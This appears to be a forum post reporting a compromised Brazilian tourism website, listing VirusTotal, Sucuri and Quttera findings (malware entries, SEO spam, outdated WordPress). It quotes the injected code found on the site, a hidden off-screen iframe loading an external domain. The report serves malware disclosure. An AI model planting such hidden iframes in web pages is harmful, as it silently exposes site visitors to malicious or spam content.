Why not blocked?

See: https://www.virustotal.com/nl/url/0ea6d48f67c683a719428d6d241cc51f005c3c0e96b2d8af940c0ee6ce92d693/analysis/1416751668/
Sucuri detects:
Website Malware malware-entry-mwanomalysp8 htxp://www.omorrodesaopaulo.com.br/
SEO Spam MW:SPAM:SEO?s htxp://www.omorrodesaopaulo.com.br/404testpage4525d2fdc
SEO Spam MW:SPAM:SEO?s htxp://www.omorrodesaopaulo.com.br/404javascript.js
Website Malware malware-entry-mwanomalysp8 httx://www.omorrodesaopaulo.com.br/index.php/quem-somos/
SEO Spam MW:SPAM:SEO?s htxp://www.omorrodesaopaulo.com.br/index.php/morro-de-sao-paulo-bahia-brasil/como-chegar-nas-pousadas-de-morro-de-sao-paulo-bahia-brasil/
Website Malware malware-entry-mwanomalysp8 htxp://www.omorrodesaopaulo.com.br/index.php/2013/07/
Anomaly behavior detected (possible malware). Details: htxp://sucuri.net/malware/malware-entry-mwanomalysp8

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Outdated WordPress Found: WordPress Under 4.0
Quttera flags 4 suspicious files: Detected hidden reference to external web resource. Detected hidden reference to external web resource.

[[<iframe src="htxp://24corp-shop.com" width=250 height=320 style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'>]]

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